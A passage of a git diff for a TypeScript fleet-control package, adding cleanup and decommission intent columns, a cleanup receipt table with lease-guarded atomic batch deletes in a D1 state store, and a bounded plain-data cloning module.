     databaseId: rowString(row, 'database_id'),
     databaseName: rowString(row, 'database_name'),
@@ -1141,6 +1335,180 @@ function toRecord(row: Readonly<Record<string, unknown>>): FleetRecord {
       : {}),
     updatedAt: rowString(row, 'updated_at'),
   };
+  let rawDecommissionIntent: unknown;
+  try {
+    const value = row.decommission_intent;
+    if (value !== null && value !== undefined) {
+      if (
+        typeof value !== 'string' ||
+        value.length > DECOMMISSION_INTENT_BYTE_BOUND ||
+        new TextEncoder().encode(value).byteLength >
+          DECOMMISSION_INTENT_BYTE_BOUND
+      ) {
+        throw new Error();
+      }
+      rawDecommissionIntent = JSON.parse(value) as unknown;
+    }
+  } catch {
+    if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    throw invalidDecommissionIntent();
+  }
+  let rawCleanupIntent: unknown;
+  try {
+    const value = row.cleanup_intent;
+    if (value !== null && value !== undefined) {
+      if (
+        typeof value !== 'string' ||
+        value.length > CLEANUP_INTENT_BYTE_BOUND ||
+        new TextEncoder().encode(value).byteLength > CLEANUP_INTENT_BYTE_BOUND
+      ) {
+        throw new Error();
+      }
+      rawCleanupIntent = JSON.parse(value) as unknown;
+    }
+  } catch {
+    if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    throw invalidCleanupIntent();
+  }
+  let rawInvocationAuthority: unknown;
+  try {
+    const value = row.invocation_authority;
+    if (value !== null && value !== undefined) {
+      if (typeof value !== 'string') throw new Error();
+      rawInvocationAuthority = JSON.parse(value) as unknown;
+    }
+  } catch {
+    if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    throw invalidInvocationAuthority();
+  }
+  const reconstructed = structuralBackendSwitchFleetRecordFromUnknown({
+    ...provisional,
+    ...(rawDecommissionIntent === undefined
+      ? {}
+      : { decommissionIntent: rawDecommissionIntent }),
+    ...(rawCleanupIntent === undefined
+      ? {}
+      : { cleanupIntent: rawCleanupIntent }),
+    ...(rawInvocationAuthority === undefined
+      ? {}
+      : { invocationAuthority: rawInvocationAuthority }),
+  });
+  if (reconstructed.carriesBackendSwitchAuthority) {
+    const canonical = backendSwitchFleetRecordFromUnknown(
+      reconstructed.record,
+    ).record;
+    validateRecordCrossFields(canonical);
+    return canonical;
+  }
+  const {
+    decommissionIntent: _rawDecommissionIntent,
+    cleanupIntent: _rawCleanupIntent,
+    invocationAuthority: _rawInvocationAuthority,
+    ...normalProvisional
+  } = reconstructed.record;
+  const decommissionIntent = optionalDecommissionIntent(
+    row.decommission_intent,
+    normalProvisional,
+  );
+  if (
+    normalProvisional.phase === 'decommission-advancing' &&
+    !decommissionIntent
+  ) {
+    throw invalidDecommissionIntent();
+  }
+  const cleanupIntent = optionalCleanupIntent(
+    row.cleanup_intent,
+    normalProvisional,
+  );
+  if (normalProvisional.phase === 'cleanup-advancing' && !cleanupIntent) {
+    throw invalidCleanupIntent();
+  }
+  const invocationAuthority = optionalInvocationAuthority(
+    row.invocation_authority,
+  );
+  const record: FleetRecord = {
+    ...normalProvisional,
+    ...(decommissionIntent ? { decommissionIntent } : {}),
+    ...(cleanupIntent ? { cleanupIntent } : {}),
+    ...(invocationAuthority ? { invocationAuthority } : {}),
+  };
+  validateRecordCrossFields(record);
+  return record;
+}
+
+function normalizeRecordForWrite(record: FleetRecord): FleetRecord {
+  const reconstructed = structuralBackendSwitchFleetRecordFromUnknown(record);
+  record = reconstructed.record;
+  if (reconstructed.carriesBackendSwitchAuthority) {
+    const canonical = backendSwitchFleetRecordFromUnknown(record).record;
+    validateRecordCrossFields(canonical);
+    return canonical;
+  }
+  const hasDecommissionIntent = Object.hasOwn(record, 'decommissionIntent');
+  const suppliedDecommissionIntent = record.decommissionIntent;
+  if (hasDecommissionIntent && suppliedDecommissionIntent === undefined) {
+    throw invalidDecommissionIntent();
+  }
+  const hasCleanupIntent = Object.hasOwn(record, 'cleanupIntent');
+  const suppliedCleanupIntent = record.cleanupIntent;
+  if (hasCleanupIntent && suppliedCleanupIntent === undefined) {
+    throw invalidCleanupIntent();
+  }
+  const hasInvocationAuthority = Object.hasOwn(record, 'invocationAuthority');
+  const suppliedInvocationAuthority = record.invocationAuthority;
+  if (hasInvocationAuthority && suppliedInvocationAuthority === undefined) {
+    throw invalidInvocationAuthority();
+  }
+  const provisional = { ...record };
+  delete provisional.decommissionIntent;
+  delete provisional.cleanupIntent;
+  let decommissionIntent: FleetRecord['decommissionIntent'];
+  try {
+    decommissionIntent = hasDecommissionIntent
+      ? normalizeDecommissionAdvanceIntent(
+          suppliedDecommissionIntent as NonNullable<
+            FleetRecord['decommissionIntent']
+          >,
+          provisional,
+        )
+      : undefined;
+  } catch {
+    throw invalidDecommissionIntent();
+  }
+  let cleanupIntent: FleetRecord['cleanupIntent'];
+  try {
+    cleanupIntent = hasCleanupIntent
+      ? normalizeCleanupAdvanceIntent(
+          suppliedCleanupIntent as NonNullable<FleetRecord['cleanupIntent']>,
+          provisional,
+        )
+      : undefined;
+  } catch {
+    throw invalidCleanupIntent();
+  }
+  let invocationAuthority: FleetRecord['invocationAuthority'];
+  try {
+    invocationAuthority = hasInvocationAuthority
+      ? invocationAuthorityCarrierFromUnknown(suppliedInvocationAuthority)
+      : undefined;
+  } catch {
+    throw invalidInvocationAuthority();
+  }
+  delete provisional.invocationAuthority;
+  const normalized: FleetRecord = {
+    ...provisional,
+    ...(decommissionIntent ? { decommissionIntent } : {}),
+    ...(cleanupIntent ? { cleanupIntent } : {}),
+    ...(invocationAuthority ? { invocationAuthority } : {}),
+  };
+  if (record.phase === 'decommission-advancing' && !decommissionIntent) {
+    throw invalidDecommissionIntent();
+  }
+  if (record.phase === 'cleanup-advancing' && !cleanupIntent) {
+    throw invalidCleanupIntent();
+  }
+  validateRecordCrossFields(normalized);
+  return normalized;
 }
 
 export class D1FleetStateStore
@@ -1207,6 +1575,9 @@ export class D1FleetStateStore
       platform_target TEXT,
       migration_intent TEXT,
       backend_switch_intent TEXT,
+      decommission_intent TEXT,
+      cleanup_intent TEXT,
+      invocation_authority TEXT,
       durable_object_tag TEXT,
       durable_object_migration_history TEXT,
       durable_object_migration_history_digest TEXT,
@@ -1220,6 +1591,7 @@ export class D1FleetStateStore
       database_export_size INTEGER,
       settled_settlement_key TEXT,
       updated_at TEXT NOT NULL,
+      wfp_mode TEXT,
       PRIMARY KEY (tenant_tag, environment),
       UNIQUE (backend, script_name),
       UNIQUE (database_id),
@@ -1232,7 +1604,6 @@ export class D1FleetStateStore
       try {
         await this.#db.execute(`ALTER TABLE ${TABLE} ADD COLUMN ${name} TEXT`);
       } catch (error) {
-        // A replica that added the same column between the read and the write.
         if (!isDuplicateColumnError(error, name)) throw error;
       }
       fleetColumns = await this.#db.query(`PRAGMA table_info(${TABLE})`);
@@ -1266,6 +1637,20 @@ export class D1FleetStateStore
       owner_token TEXT NOT NULL,
       expires_at INTEGER NOT NULL
     )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${CLEANUP_RECEIPT_TABLE} (
+      operation_id TEXT NOT NULL PRIMARY KEY,
+      tenant_tag TEXT NOT NULL,
+      environment TEXT NOT NULL,
+      backend TEXT NOT NULL,
+      script_name TEXT NOT NULL,
+      database_id TEXT NOT NULL,
+      database_name TEXT NOT NULL,
+      authority TEXT NOT NULL CHECK (authority IN ('manual-cleanup', 'provisioning-rollback')),
+      admitted_phase TEXT NOT NULL,
+      disposition TEXT NOT NULL CHECK (disposition IN ('prepublication-owned-no-export', 'reservation-cleared')),
+      evidence TEXT NOT NULL,
+      completed_at_ms INTEGER NOT NULL
+    )`);
   }
 
   async withDeploymentLease<T>(
@@ -1317,6 +1702,10 @@ export class D1FleetStateStore
         put: (record) =>
           this.#putUnderLease(tenantTag, environment, token, record),
         delete: () => this.#deleteUnderLease(tenantTag, environment, token),
+        completeCleanup: (input) =>
+          this.#completeCleanupUnderLease(tenantTag, environment, token, input),
+        deleteReleasingClaims: () =>
+          this.#deleteReleasingClaimsUnderLease(tenantTag, environment, token),
       }),
       operation,
     });
@@ -1706,22 +2095,54 @@ export class D1FleetStateStore
     token: string,
     record: FleetRecord,
   ): Promise<void> {
+    record = normalizeRecordForWrite(record);
     deploymentKey(record.tenantTag, record.environment);
     if (record.tenantTag !== tenantTag || record.environment !== environment) {
       throw new Error(
         `deployment lease '${tenantTag}:${environment}' cannot write '${record.tenantTag}:${record.environment}'`,
       );
     }
+    const decommissionIntent = record.decommissionIntent
+      ? JSON.stringify(record.decommissionIntent)
+      : null;
+    if (
+      typeof decommissionIntent === 'string' &&
+      (decommissionIntent.length > DECOMMISSION_INTENT_BYTE_BOUND ||
+        new TextEncoder().encode(decommissionIntent).byteLength >
+          DECOMMISSION_INTENT_BYTE_BOUND)
+    ) {
+      throw invalidDecommissionIntent();
+    }
+    const cleanupIntent = record.cleanupIntent
+      ? JSON.stringify(record.cleanupIntent)
+      : null;
+    if (
+      typeof cleanupIntent === 'string' &&
+      (cleanupIntent.length > CLEANUP_INTENT_BYTE_BOUND ||
+        new TextEncoder().encode(cleanupIntent).byteLength >
+          CLEANUP_INTENT_BYTE_BOUND)
+    ) {
+      throw invalidCleanupIntent();
+    }
+    const invocationAuthority = record.invocationAuthority
+      ? JSON.stringify(record.invocationAuthority)
+      : null;
     if (
       record.migrationIntent &&
       record.backendSwitchIntent &&
-      record.backendSwitchIntent.subphase !== 'finalized' &&
-      record.backendSwitchIntent.subphase !== 'rolled-back'
+      !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase)
     ) {
       throw new Error(
         'only a settled backend switch can coexist with migration intent',
       );
     }
+    if (
+      (record.cleanupIntent && record.phase !== 'cleanup-advancing') ||
+      (record.phase === 'cleanup-advancing' && !record.cleanupIntent)
+    ) {
+      throw invalidCleanupIntent();
+    }
+    assertCleanupIntentExclusive(record);
     const releases = [
       record.activeRelease,
       record.pendingRelease,
@@ -1785,6 +2206,9 @@ export class D1FleetStateStore
       record.backendSwitchIntent
         ? JSON.stringify(record.backendSwitchIntent)
         : null,
+      decommissionIntent,
+      cleanupIntent,
+      invocationAuthority,
       record.durableObjectTag ?? null,
       record.durableObjectMigrationHistory
         ? JSON.stringify(record.durableObjectMigrationHistory)
@@ -1802,26 +2226,30 @@ export class D1FleetStateStore
       record.databaseExportSize ?? null,
       record.settledSettlementKey ?? null,
       record.updatedAt,
+      record.wfpMode ?? null,
     ] as const;
     const upsertSql = `INSERT INTO ${TABLE} (
         tenant_tag, environment, backend, script_name, database_id,
         database_name, schema_version, artifact_version, desired_spec_digest,
         pending_spec_digest, pending_artifact_version, active_release, pending_release, migration_prior_release,
         rollback_release, retiring_release, outbound_policy, platform_resources,
-        platform_target, migration_intent, backend_switch_intent, durable_object_tag,
+        platform_target, migration_intent, backend_switch_intent, decommission_intent, cleanup_intent,
+        invocation_authority, durable_object_tag,
         durable_object_migration_history, durable_object_migration_history_digest,
         durable_object_bindings, application_resources, application_bindings,
         route_hostname, phase,
         database_export_location, database_export_sha256,
-        database_export_size, settled_settlement_key, updated_at
+        database_export_size, settled_settlement_key, updated_at, wfp_mode
       ) SELECT CASE WHEN EXISTS (
         SELECT 1 FROM ${LEASE_TABLE}
         WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
           AND expires_at > ${DB_NOW_MS}
       ) THEN ? ELSE NULL END,
-      ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
+      ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
       WHERE true
       ON CONFLICT (tenant_tag, environment) DO UPDATE SET
+        tenant_tag = CASE WHEN ${TABLE}.wfp_mode IS NULL OR ${TABLE}.wfp_mode IS excluded.wfp_mode
+          THEN excluded.tenant_tag ELSE NULL END,
         backend = excluded.backend,
         script_name = excluded.script_name,
         database_id = excluded.database_id,
@@ -1841,6 +2269,9 @@ export class D1FleetStateStore
         platform_target = excluded.platform_target,
         migration_intent = excluded.migration_intent,
         backend_switch_intent = excluded.backend_switch_intent,
+        decommission_intent = excluded.decommission_intent,
+        cleanup_intent = excluded.cleanup_intent,
+        invocation_authority = excluded.invocation_authority,
         durable_object_tag = excluded.durable_object_tag,
         durable_object_migration_history = excluded.durable_object_migration_history,
         durable_object_migration_history_digest = excluded.durable_object_migration_history_digest,
@@ -1853,7 +2284,8 @@ export class D1FleetStateStore
         database_export_sha256 = excluded.database_export_sha256,
         database_export_size = excluded.database_export_size,
         settled_settlement_key = excluded.settled_settlement_key,
-        updated_at = excluded.updated_at
+        updated_at = excluded.updated_at,
+        wfp_mode = excluded.wfp_mode
       RETURNING tenant_tag, environment`;
     let results: readonly (readonly Readonly<Record<string, unknown>>[])[];
     try {
@@ -1962,6 +2394,8 @@ export class D1FleetStateStore
     let workerClaim: DeploymentClaim;
     if (record.backend === 'plain-worker') {
       workerClaim = ['worker-script', record.scriptName, 'deployment-worker'];
+    } else if (isPlatformCatalogRecord(record)) {
+      workerClaim = ['dispatch-script', record.scriptName, 'deployment-worker'];
     } else if (record.platformResources) {
       const state = record.platformResources.stateWorker;
       if (state.plane === 'ordinary') {
@@ -2128,6 +2562,371 @@ export class D1FleetStateStore
     }
   }
 
+  /**
+   * One atomic batch: immutable receipt insert, identity-scoped claims
+   * release, and Fleet-row delete, each guarded by the live lease and the
+   * exact operation AND revision. Atomicity assumption: `#db.batch` delegates
+   * to `D1Database.batch`, which D1 executes as a single auto-commit
+   * transaction; the harness partial-state convergence test proves it.
+   */
+  async #completeCleanupUnderLease(
+    tenantTag: string,
+    environment: string,
+    token: string,
+    input: Readonly<{
+      receipt: CleanupTerminalReceipt;
+      expectedRevision: number;
+    }>,
+  ): Promise<CleanupTerminalReceipt> {
+    const receipt = cleanupTerminalReceiptFromUnknown(input.receipt);
+    if (receipt.completedAtMs !== undefined) {
+      throw new Error('cleanup receipt completedAtMs is database-assigned');
+    }
+    if (
+      receipt.tenantTag !== tenantTag ||
+      receipt.environment !== environment
+    ) {
+      throw new Error(
+        `deployment lease '${tenantTag}:${environment}' cannot write '${receipt.tenantTag}:${receipt.environment}'`,
+      );
+    }
+    if (
+      !Number.isSafeInteger(input.expectedRevision) ||
+      input.expectedRevision < 0
+    ) {
+      throw new Error(
+        'completeCleanup expectedRevision must be a non-negative safe integer',
+      );
+    }
+    // json_extract yields a JSON number (SQLite INTEGER affinity), so the
+    // revision binding MUST be a JS Number.
+    const expectedRevision = Number(input.expectedRevision);
+    const evidence = canonicalCleanupEvidenceBytes(receipt.evidence);
+    const identity = `deployment:${tenantTag}:${environment}`;
+    const rowGuard = `EXISTS (
+        SELECT 1 FROM ${TABLE}
+        WHERE tenant_tag = ? AND environment = ?
+          AND phase = 'cleanup-advancing'
+          AND json_extract(cleanup_intent, '$.operationId') = ?
+          AND json_extract(cleanup_intent, '$.revision') = ?)`;
+    const leaseGuard = `EXISTS (
+        SELECT 1 FROM ${LEASE_TABLE}
+        WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
+          AND expires_at > ${DB_NOW_MS})`;
+    let results:
+      | readonly (readonly Readonly<Record<string, unknown>>[])[]
+      | undefined;
+    let batchFailed = false;
+    let batchError: unknown;
+    try {
+      results = await this.#db.batch([
+        {
+          sql: `INSERT INTO ${CLEANUP_RECEIPT_TABLE} (
+            operation_id, tenant_tag, environment, backend, script_name,
+            database_id, database_name, authority, admitted_phase, disposition,
+            evidence, completed_at_ms
+          ) SELECT ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ${DB_NOW_MS}
+          WHERE ${leaseGuard}
+            AND ${rowGuard}
+          RETURNING operation_id`,
+          bindings: [
+            receipt.operationId,
+            receipt.tenantTag,
+            receipt.environment,
+            receipt.backend,
+            receipt.scriptName,
+            receipt.databaseId,
+            receipt.databaseName,
+            receipt.authority,
+            receipt.admittedPhase,
+            receipt.disposition,
+            evidence,
+            tenantTag,
+            environment,
+            token,
+            tenantTag,
+            environment,
+            receipt.operationId,
+            expectedRevision,
+          ],
+        },
+        {
+          sql: `DELETE FROM ${PLATFORM_CLAIM_TABLE}
+          WHERE account_id = ? AND resource_set_key = ?
+            AND platform_plane_identity = ?
+            AND ${leaseGuard}
+            AND ${rowGuard}
+          RETURNING resource_type, resource_name`,
+          bindings: [
+            this.#accountId,
+            identity,
+            identity,
+            tenantTag,
+            environment,
+            token,
+            tenantTag,
+            environment,
+            receipt.operationId,
+            expectedRevision,
+          ],
+        },
+        {
+          sql: `DELETE FROM ${TABLE}
+          WHERE tenant_tag = ? AND environment = ?
+            AND phase = 'cleanup-advancing'
+            AND json_extract(cleanup_intent, '$.operationId') = ?
+            AND json_extract(cleanup_intent, '$.revision') = ?
+            AND ${leaseGuard}
+          RETURNING tenant_tag, environment`,
+          bindings: [
+            tenantTag,
+            environment,
+            receipt.operationId,
+            expectedRevision,
+            tenantTag,
+            environment,
+            token,
+          ],
+        },
+      ]);
+    } catch (error) {
+      batchFailed = true;
+      batchError = error;
+    }
+    if (results) {
+      const inserted = results[0] ?? [];
+      const deletedRow = results[2] ?? [];
+      if (
+        inserted.length === 1 &&
+        inserted[0]?.operation_id === receipt.operationId &&
+        deletedRow.length === 1 &&
+        deletedRow[0]?.tenant_tag === tenantTag &&
+        deletedRow[0]?.environment === environment
+      ) {
+        return await this.#readPersistedCleanupReceipt(receipt, evidence);
+      }
+    }
+    const owned = await this.#db.query(
+      `SELECT owner_token FROM ${LEASE_TABLE}
+      WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
+        AND expires_at > ${DB_NOW_MS}`,
+      [tenantTag, environment, token],
+    );
+    if (owned.length !== 1 || owned[0]?.owner_token !== token) {
+      throw this.#leaseLost(tenantTag, environment);
+    }
+    const stored = await this.#db.query(
+      `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`,
+      [receipt.operationId],
+    );
+    const storedRow = stored[0];
+    if (stored.length === 1 && storedRow) {
+      if (!this.#cleanupReceiptRowMatches(storedRow, receipt, evidence)) {
+        throw new Error(
+          `cleanup receipt conflict for operation '${receipt.operationId}'`,
+        );
+      }
+      const rows = await this.#db.query(
+        `SELECT tenant_tag FROM ${TABLE}
+        WHERE tenant_tag = ? AND environment = ?`,
+        [tenantTag, environment],
+      );
+      const claims = await this.#db.query(
+        `SELECT resource_type FROM ${PLATFORM_CLAIM_TABLE}
+        WHERE account_id = ? AND resource_set_key = ?`,
+        [this.#accountId, identity],
+      );
+      if (rows.length === 0 && claims.length === 0) {
+        return this.#cleanupReceiptFromRow(storedRow);
+      }
+      throw new Error(
+        `deployment '${tenantTag}:${environment}' has a mixed atomic cleanup commit`,
+      );
+    }
+    if (batchFailed) throw batchError;
+    throw new Error(
+      `deployment '${tenantTag}:${environment}' has no matching active cleanup operation`,
+    );
+  }
+
+  async #readPersistedCleanupReceipt(
+    receipt: CleanupTerminalReceipt,
+    evidence: string,
+  ): Promise<CleanupTerminalReceipt> {
+    const stored = await this.#db.query(
+      `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`,
+      [receipt.operationId],
+    );
+    const row = stored[0];
+    if (
+      stored.length !== 1 ||
+      !row ||
+      !this.#cleanupReceiptRowMatches(row, receipt, evidence)
+    ) {
+      throw new Error(
+        `cleanup receipt conflict for operation '${receipt.operationId}'`,
+      );
+    }
+    return this.#cleanupReceiptFromRow(row);
+  }
+
+  #cleanupReceiptRowMatches(
+    row: Readonly<Record<string, unknown>>,
+    receipt: CleanupTerminalReceipt,
+    evidence: string,
+  ): boolean {
+    let storedEvidence: string;
+    try {
+      const parsed = cleanupReceiptEvidenceFromUnknown(
+        JSON.parse(String(row.evidence)) as unknown,
+      );
+      storedEvidence = canonicalCleanupEvidenceBytes(parsed);
+    } catch {
+      return false;
+    }
+    return (
+      row.operation_id === receipt.operationId &&
+      row.tenant_tag === receipt.tenantTag &&
+      row.environment === receipt.environment &&
+      row.backend === receipt.backend &&
+      row.script_name === receipt.scriptName &&
+      row.database_id === receipt.databaseId &&
+      row.database_name === receipt.databaseName &&
+      row.authority === receipt.authority &&
+      row.admitted_phase === receipt.admittedPhase &&
+      row.disposition === receipt.disposition &&
+      storedEvidence === evidence
+    );
+  }
+
+  #cleanupReceiptFromRow(
+    row: Readonly<Record<string, unknown>>,
+  ): CleanupTerminalReceipt {
+    try {
+      const evidence = row.evidence;
+      if (typeof evidence !== 'string') throw new Error();
+      return cleanupTerminalReceiptFromUnknown({
+        version: 1,
+        operationId: row.operation_id,
+        tenantTag: row.tenant_tag,
+        environment: row.environment,
+        backend: row.backend,
+        scriptName: row.script_name,
+        databaseId: row.database_id,
+        databaseName: row.database_name,
+        authority: row.authority,
+        admittedPhase: row.admitted_phase,
+        disposition: row.disposition,
+        evidence: JSON.parse(evidence) as unknown,
+        completedAtMs: Number(row.completed_at_ms),
+      });
+    } catch {
+      throw new Error('fleet state row has invalid cleanup receipt');
+    }
+  }
+
+  /**
+   * Force path: releases this deployment's current claims and deletes the
+   * Fleet row in one lease-guarded batch, with the same converged/lease-lost
+   * postcondition as the plain row delete. No receipt is written or read.
+   */
+  async #deleteReleasingClaimsUnderLease(
+    tenantTag: string,
+    environment: string,
+    token: string,
+  ): Promise<void> {
+    const identity = `deployment:${tenantTag}:${environment}`;
+    const results = await this.#db.batch([
+      {
+        sql: `DELETE FROM ${PLATFORM_CLAIM_TABLE}
+        WHERE account_id = ? AND resource_set_key = ?
+          AND platform_plane_identity = ?
+          AND EXISTS (
+            SELECT 1 FROM ${LEASE_TABLE}
+            WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
+              AND expires_at > ${DB_NOW_MS})
+        RETURNING resource_type, resource_name`,
+        bindings: [
+          this.#accountId,
+          identity,
+          identity,
+          tenantTag,
+          environment,
+          token,
+        ],
+      },
+      {
+        sql: `DELETE FROM ${TABLE}
+        WHERE tenant_tag = ? AND environment = ?
+          AND EXISTS (
+            SELECT 1 FROM ${LEASE_TABLE}
+            WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
+              AND expires_at > ${DB_NOW_MS}
+          )
+        RETURNING tenant_tag, environment`,
+        bindings: [tenantTag, environment, tenantTag, environment, token],
+      },
+    ]);
+    const deleted = results[1] ?? [];
+    if (deleted.length === 1) return;
+    const owned = await this.#db.query(
+      `SELECT owner_token FROM ${LEASE_TABLE}
+      WHERE tenant_tag = ? AND environment = ? AND owner_token = ?
+        AND expires_at > ${DB_NOW_MS}`,
+      [tenantTag, environment, token],
+    );
+    if (owned.length !== 1 || owned[0]?.owner_token !== token) {
+      throw this.#leaseLost(tenantTag, environment);
+    }
+  }
+
+  async readCleanupReceipt(
+    operationId: string,
+  ): Promise<CleanupTerminalReceipt | undefined> {
+    if (typeof operationId !== 'string' || operationId.length === 0) {
+      throw new Error('readCleanupReceipt requires an operation id');
+    }
+    await this.#ensureSchema();
+    const rows = await this.#db.query(
+      `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`,
+      [operationId],
+    );
+    const row = rows[0];
+    if (rows.length === 0 || !row) return undefined;
+    if (rows.length > 1) {
+      throw new Error('cleanup receipt key is not unique');
+    }
+    return this.#cleanupReceiptFromRow(row);
+  }
+
+  async pruneCleanupReceipts(
+    input: Readonly<{ completedBeforeMs: number; limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>> {
+    const { completedBeforeMs, limit } = input;
+    if (!Number.isSafeInteger(limit) || limit < 1 || limit > 1_000) {
+      throw new Error(
+        'pruneCleanupReceipts limit must be an integer from 1 to 1000',
+      );
+    }
+    if (!Number.isSafeInteger(completedBeforeMs)) {
+      throw new Error(
+        'pruneCleanupReceipts completedBeforeMs must be a safe integer',
+      );
+    }
+    await this.#ensureSchema();
+    const deleted = await this.#db.query(
+      `DELETE FROM ${CLEANUP_RECEIPT_TABLE}
+      WHERE operation_id IN (
+        SELECT operation_id FROM ${CLEANUP_RECEIPT_TABLE}
+        WHERE completed_at_ms < ?
+        ORDER BY completed_at_ms ASC, operation_id ASC
+        LIMIT ?)
+      RETURNING operation_id`,
+      [completedBeforeMs, limit],
+    );
+    return { deleted: deleted.length };
+  }
+
   async list(): Promise<readonly FleetRecord[]> {
     await this.#ensureSchema();
     const rows = await this.#db.query(
diff --git a/packages/fleet-control/src/strict-plain-data.ts b/packages/fleet-control/src/strict-plain-data.ts
new file mode 100644
index 00000000..3e4996b5
--- /dev/null
+++ b/packages/fleet-control/src/strict-plain-data.ts
@@ -0,0 +1,192 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export interface BoundedPlainDataOptions {
+  readonly maxDepth: number;
+  readonly maxNodes: number;
+  readonly maxScalarBytes: number;
+  readonly maxSerializedBytes: number;
+  readonly error: () => Error;
+}
+
+type PlainData =
+  | null
+  | boolean
+  | number
+  | string
+  | PlainDataArray
+  | PlainDataMap;
+
+interface PlainDataArray extends ReadonlyArray<PlainData> {}
+
+interface PlainDataMap {
+  readonly [key: string]: PlainData;
+}
+
+interface PlainDataBudget {
+  nodes: number;
+  scalarUtf8Bytes: number;
+}
+
+type PlainDataResult =
+  | Readonly<{ valid: true; value: PlainData }>
+  | Readonly<{ valid: false }>;
+
+function utf8Length(value: string): number {
+  return new TextEncoder().encode(value).byteLength;
+}
+
+function chargeScalar(
+  budget: PlainDataBudget,
+  value: null | boolean | number | string,
+  maximum: number,
+): boolean {
+  if (
+    typeof value === 'string' &&
+    value.length > maximum - budget.scalarUtf8Bytes
+  ) {
+    return false;
+  }
+  const serialized = JSON.stringify(value);
+  budget.scalarUtf8Bytes += utf8Length(serialized);
+  return budget.scalarUtf8Bytes <= maximum;
+}
+
+function clonePlainData(
+  value: unknown,
+  options: BoundedPlainDataOptions,
+  ancestors: Set<object>,
+  depth: number,
+  budget: PlainDataBudget,
+): PlainDataResult {
+  budget.nodes += 1;
+  if (depth > options.maxDepth || budget.nodes > options.maxNodes) {
+    return { valid: false };
+  }
+  if (
+    value === null ||
+    typeof value === 'string' ||
+    typeof value === 'boolean' ||
+    (typeof value === 'number' && Number.isFinite(value))
+  ) {
+    return chargeScalar(budget, value, options.maxScalarBytes)
+      ? ({ valid: true, value } as PlainDataResult)
+      : { valid: false };
+  }
+  if (typeof value !== 'object' || ancestors.has(value)) {
+    return { valid: false };
+  }
+  ancestors.add(value);
+  try {
+    if (Array.isArray(value)) {
+      if (Object.getPrototypeOf(value) !== Array.prototype) {
+        return { valid: false };
+      }
+      const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length');
+      const length =
+        lengthDescriptor && 'value' in lengthDescriptor
+          ? lengthDescriptor.value
+          : undefined;
+      if (
+        !Number.isSafeInteger(length) ||
+        Number(length) < 0 ||
+        lengthDescriptor?.enumerable !== false ||
+        Number(length) > options.maxNodes - budget.nodes
+      ) {
+        return { valid: false };
+      }
+      const keys = Reflect.ownKeys(value);
+      if (
+        keys.length !== Number(length) + 1 ||
+        !keys.includes('length') ||
+        keys.some((key) => typeof key !== 'string')
+      ) {
+        return { valid: false };
+      }
+      const cloned: PlainData[] = [];
+      for (let index = 0; index < Number(length); index += 1) {
+        const descriptor = Object.getOwnPropertyDescriptor(
+          value,
+          String(index),
+        );
+        if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) {
+          return { valid: false };
+        }
+        const result = clonePlainData(
+          descriptor.value,
+          options,
+          ancestors,
+          depth + 1,
+          budget,
+        );
+        if (!result.valid) return result;
+        cloned.push(result.value);
+      }
+      return { valid: true, value: cloned };
+    }
+    const prototype = Object.getPrototypeOf(value);
+    if (prototype !== Object.prototype && prototype !== null) {
+      return { valid: false };
+    }
+    const keys = Reflect.ownKeys(value);
+    if (keys.length > options.maxNodes - budget.nodes) {
+      return { valid: false };
+    }
+    const cloned = Object.create(null) as Record<string, PlainData>;
+    for (const key of keys) {
+      if (
+        typeof key !== 'string' ||
+        !chargeScalar(budget, key, options.maxScalarBytes)
+      ) {
+        return { valid: false };
+      }
+      const descriptor = Object.getOwnPropertyDescriptor(value, key);
+      if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) {
+        return { valid: false };
+      }
+      const result = clonePlainData(
+        descriptor.value,
+        options,
+        ancestors,
+        depth + 1,
+        budget,
+      );
+      if (!result.valid) return result;
+      cloned[key] = result.value;
+    }
+    return { valid: true, value: cloned };
+  } finally {
+    ancestors.delete(value);
+  }
+}
+
+export function cloneBoundedPlainData(
+  value: unknown,
+  options: BoundedPlainDataOptions,
+): unknown {
+  let result: PlainDataResult = { valid: false };
+  let serializedWithinBound = false;
+  try {
+    const invalidOptions =
+      !Number.isSafeInteger(options.maxDepth) ||
+      options.maxDepth < 0 ||
+      !Number.isSafeInteger(options.maxNodes) ||
+      options.maxNodes < 1 ||
+      !Number.isSafeInteger(options.maxScalarBytes) ||
+      options.maxScalarBytes < 0 ||
+      !Number.isSafeInteger(options.maxSerializedBytes) ||
+      options.maxSerializedBytes < 0;
+    if (!invalidOptions) {
+      result = clonePlainData(value, options, new Set<object>(), 0, {
+        nodes: 0,
+        scalarUtf8Bytes: 0,
+      });
+      serializedWithinBound =
+        result.valid &&
+        utf8Length(JSON.stringify(result.value)) <= options.maxSerializedBytes;
+    }
+  } catch {
+    throw options.error();
+  }
+  if (!result.valid || !serializedWithinBound) throw options.error();
+  return result.value;
+}
diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts
index 5baaf851..8c3f362f 100644
--- a/packages/fleet-control/src/types.ts
+++ b/packages/fleet-control/src/types.ts
@@ -1,6 +1,7 @@
